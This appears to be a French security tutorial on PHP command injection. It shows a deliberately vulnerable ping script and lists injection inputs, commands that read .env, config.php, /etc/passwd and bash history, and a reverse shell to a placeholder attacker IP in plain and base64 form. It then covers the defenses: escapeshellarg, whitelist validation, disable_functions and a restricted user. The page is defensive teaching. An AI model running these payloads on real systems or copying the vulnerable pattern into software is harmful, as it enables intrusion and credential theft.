Skip to content

Injection de commande PHP : exécution de code système depuis un input

Quand une application PHP passe une valeur contrôlée par l’utilisateur à une fonction système sans la valider, l’attaquant peut sortir du contexte prévu et faire exécuter n’importe quelle commande par le serveur. L’accès au système de fichiers, aux variables d’environnement et au réseau interne devient possible avec les droits du processus web.

Plusieurs fonctions PHP exécutent des commandes système. Toutes sont vulnérables si l’entrée utilisateur y transite sans contrôle :

FonctionComportement
system($cmd)Exécute et affiche la sortie
exec($cmd)Exécute, retourne la dernière ligne
shell_exec($cmd)Exécute, retourne toute la sortie
passthru($cmd)Exécute, passe la sortie brute au client
popen($cmd, "r")Ouvre un pipe vers la commande
`$cmd`Backticks — alias de shell_exec()
<?php
$domaine = $_GET['domaine'];
$resultat = shell_exec("ping -c 1 " . $domaine);
echo "<pre>" . $resultat . "</pre>";
?>

L’intention est de pinger un domaine fourni par l’utilisateur. En pratique, $domaine est concaténé directement dans la commande shell sans échappement.

Le shell interprète plusieurs caractères pour enchaîner des commandes :

SéparateurComportement
;Exécute les deux commandes, indépendamment du résultat
&&Exécute la deuxième si la première réussit
||Exécute la deuxième si la première échoue
|Passe la sortie de la première en entrée de la deuxième
$()Substitution de commande
# Dans l'input
exemple.fr ; ls
exemple.fr && id
exemple.fr | whoami
exemple.fr ; sleep 5

La réponse ; ls liste le répertoire courant du processus web. ; sleep 5 provoque un délai mesurable — utile quand la sortie n’est pas affichée (injection aveugle).

Terminal window
# Mesurer le délai depuis l'extérieur
time curl "https://cible.fr/page.php?domaine=exemple.fr;sleep+5"

Un délai de 5 secondes confirme l’exécution de la commande même sans retour visible.

# Utilisateur courant du processus web
; id
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Répertoire de travail
; pwd
# Contenu du répertoire courant
; ls -la
# Variables d'environnement (clés API, mots de passe injectés)
; env
# Hostname et interfaces réseau
; hostname && ip a
# Configuration PHP (database credentials)
; cat /var/www/html/config.php
# Fichier de configuration commun
; cat /var/www/html/.env
# Comptes système
; cat /etc/passwd
# Historique bash de l'utilisateur www-data
; cat /var/www/.bash_history
; find /var/www -name "*.php" -type f 2>/dev/null
; grep -r "password\|db_pass\|DB_PASS" /var/www/ 2>/dev/null

Si le serveur a accès au réseau sortant, établir un shell interactif :

# Depuis l'input (remplacer IP et PORT)
; bash -c 'bash -i >& /dev/tcp/IP_ATTAQUANT/PORT 0>&1'
# Encodé en base64 pour éviter les caractères spéciaux bloqués
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDAmPjE=" | base64 -d | bash

Écouter sur la machine attaquante avant d’envoyer la payload :

Terminal window
nc -lvnp PORT

Ne jamais passer de données utilisateur à une fonction système

Section titled “Ne jamais passer de données utilisateur à une fonction système”

La première protection est architecturale : si une fonctionnalité peut être implémentée sans appel système, l’implémenter ainsi.

// Vulnérable
$resultat = shell_exec("ping -c 1 " . $_GET['domaine']);
// Correct — utiliser une bibliothèque PHP native
$ip = gethostbyname($_GET['domaine']);

Si l’appel système est inévitable, valider l’entrée contre un format attendu avant de la passer à la commande :

$domaine = $_GET['domaine'];
// Valider le format domaine (lettres, chiffres, tirets, points)
if (!preg_match('/^[a-zA-Z0-9\-\.]+$/', $domaine)) {
http_response_code(400);
exit('Domaine invalide');
}
$resultat = shell_exec("ping -c 1 " . escapeshellarg($domaine));

Échapper avec escapeshellarg() et escapeshellcmd()

Section titled “Échapper avec escapeshellarg() et escapeshellcmd()”
// escapeshellarg() — entoure l'argument de guillemets simples et échappe les guillemets internes
// empêche l'injection de séparateurs de commandes
$arg = escapeshellarg($_GET['domaine']);
$resultat = shell_exec("ping -c 1 " . $arg);
// escapeshellcmd() — échappe les métacaractères shell dans une commande entière
// moins sûr qu'escapeshellarg() car laisse passer certains caractères
$cmd = escapeshellcmd("ping -c 1 " . $_GET['domaine']);
$resultat = shell_exec($cmd);

escapeshellarg() est plus restrictif qu’escapeshellcmd() et doit être préféré pour protéger des arguments individuels.

Désactiver les fonctions dangereuses dans php.ini

Section titled “Désactiver les fonctions dangereuses dans php.ini”

Si l’application n’a aucun besoin d’exécuter des commandes système, désactiver les fonctions concernées au niveau de la configuration PHP :

; /etc/php/8.x/fpm/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec

Vérifier que la configuration est prise en compte :

Terminal window
php -r "echo system('id');"
# PHP Warning: system() has been disabled for security reasons

Faire tourner le processus web avec un utilisateur restreint

Section titled “Faire tourner le processus web avec un utilisateur restreint”

L’injection de commande s’exécute avec les droits du processus web. Limiter ces droits réduit l’impact :

Terminal window
# Vérifier l'utilisateur courant du worker PHP-FPM
ps aux | grep php-fpm
# Configurer un pool PHP-FPM avec un utilisateur dédié
# /etc/php/8.x/fpm/pool.d/www.conf
user = www-data
group = www-data

www-data ne doit pas avoir accès en lecture aux fichiers de configuration en dehors de la racine web, ni en écriture sur le système de fichiers sauf les répertoires explicitement nécessaires (uploads, cache).

La concaténation directe d’une entrée utilisateur dans une commande shell est une injection. escapeshellarg() réduit la surface d’attaque mais ne remplace pas une validation d’entrée par liste blanche. La combinaison — validation du format, échappement, et disable_functions — constitue une défense en profondeur. Le test le plus rapide pour détecter la faille reste ;sleep 5 : un délai de réponse confirme l’exécution sans nécessiter d’affichage.